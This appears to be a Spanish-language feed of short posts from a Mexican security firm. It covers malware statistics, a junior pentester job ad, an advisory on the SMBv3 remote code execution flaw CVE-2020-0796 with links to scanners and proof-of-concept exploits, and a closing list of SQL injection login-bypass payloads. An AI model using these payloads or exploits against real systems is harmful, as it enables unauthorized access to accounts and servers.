“En 1998 estábamos lidiando con unas 50 nuevas muestras de malware por día
En 2020, 22 años después, ¡ese número aumentó a 342.000 muestras únicas de malware diarias!”
https://t.co/g7NOLk4Wac

Hahaha

Estamos buscando un pentest.jr ! para la ciudad de Aguascalientes ..

> horario flexible
> no traigas tu CV
> no rentes un traje para venir formal
> Lo único que nos importa es tu cerebro }:-)
> Ven y pasa el reto en nuestras oficinas ( https://g.page/tpxSecurity mapa de como llegar ) Jueves 12 de Marzo 15:00 horas comenzamos el reto.

Requisitos:

> Saber Documentar.
> Responsable.
> Conocimientos - Pentest/Web/Windows/Linux
> Traer tu propia Laptop.

No hay Limite de edad !!

* hay un error en la hora, es 15:00 horas * :v

⚠️ Critico

🚨 Ejecución de código remoto (RCE) en SMBv3.

Microsoft Server Message Block 3.1.1 (SMBv3)


‼️Afectación en:


- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)

 
❕Mas info: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200005

Apache Shiro RCE Via RememberMe Padding Oracle Attack

https://github.com/3ndz/Shiro-721

SMBv3 💀

https://www.facebook.com/977786685625713/posts/3656158854455136/

Patch SMB v3 ( CVE-2020-0796 - SMBv3 RCE.)

https://www.facebook.com/tpx.mx/videos/627120161184852/

Scanner for CVE-2020-0796 - A SMBv3.1.1 + SMB compression RCE
#SMBGhost

https://github.com/ioncodes/SMBGhost

Another PoC:
https://github.com/eerykitty/CVE-2020-0796-PoC

Payloads para sql inyection login bypass.

‘’’’

' or ''-'
" or ""-"
" or true--
' or true--
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*